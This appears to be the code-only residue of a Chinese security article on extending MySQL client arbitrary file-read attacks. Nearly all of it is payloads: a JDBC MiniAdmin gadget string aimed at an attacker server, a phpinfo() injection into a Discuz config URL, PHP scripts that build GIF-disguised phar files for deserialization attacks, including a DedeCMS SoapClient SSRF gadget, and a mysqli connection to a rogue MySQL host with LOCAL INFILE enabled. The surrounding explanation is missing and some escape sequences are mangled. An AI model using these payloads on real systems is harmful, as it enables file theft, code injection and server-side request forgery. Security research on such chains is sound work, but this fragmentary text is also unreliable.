Mysql Client 任意文件读取攻击链拓展

LOAD DATA    [LOW_PRIORITY | CONCURRENT] [LOCAL]    INFILE 'file_name'    [REPLACE | IGNORE]    INTO TABLE tbl_name    [PARTITION (partition_name [, partition_name] ...)]    [CHARACTER SET charset_name]    [{FIELDS | COLUMNS}        [TERMINATED BY 'string']        [[OPTIONALLY] ENCLOSED BY 'char']        [ESCAPED BY 'char']    ]    [LINES        [STARTING BY 'string']        [TERMINATED BY 'string']    ]    [IGNORE number {LINES | ROWS}]    [(col_name_or_user_var        [, col_name_or_user_var] ...)]    [SET col_name={expr | DEFAULT},        [, col_name={expr | DEFAULT}] ...]

load data infile "/test.txt" into table1 lines terminated by 'rn' (colunm1,colunm2,...)

load data infile "Ｃ:2.txt" into table test FIELDS TERMINATED BY 'n';

/** * allow login to any user entered server in cookie based authentication * * @global boolean $cfg[‘AllowArbitraryServer’] */$cfg[‘AllowArbitraryServer’] = true;

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

config/config_ucenter.phpconfig/config_global.php

原地址：http://localhost:8086/upload/uc_server修改为：http://localhost:8086/upload/uc_server');phpinfo();//

pphar.php<?phpclass A {    public $s = '';    public function __wakeup () {        echo "pwned!!";    }}@unlink("phar.phar");$phar = new Phar("phar.phar"); //后缀名必须为phar$phar->startBuffering();$phar->setStub("GIF89a "."<?php __HALT_COMPILER(); ?>"); //设置stub$o = new A();$phar->setMetadata($o); //将自定义的meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>

test.php<?phpclass A {    public $s = '';    public function __wakeup () {        echo "pwned!!";    }}$m = mysqli_init();mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);$s = mysqli_real_connect($m, '{evil_mysql_ip}', 'root', '123456', 'test', 3667);$p = mysqli_query($m, 'select 1;');// file_get_contents('phar://./phar.phar');

phar://./phar.phar

<?phpclass Control{    var $tpl;    // $a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));    public $dsql;    function __construct(){        $this->dsql = new SoapClient(null,array('uri'=>'http://xxxx:5555', 'location'=>'http://xxxx:5555/aaa'));    }    function __destruct() {        unset($this->tpl);        $this->dsql->Close(TRUE);    }}@unlink("dedecms.phar");$phar = new Phar("dedecms.phar");$phar->startBuffering();$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头$o = new Control();$phar->setMetadata($o); //将自定义meta-data存入manifest$phar->addFromString("test.txt", "test"); //添加要压缩的文件//签名自动计算$phar->stopBuffering();?>

phar://./dedecms.phar/test.txt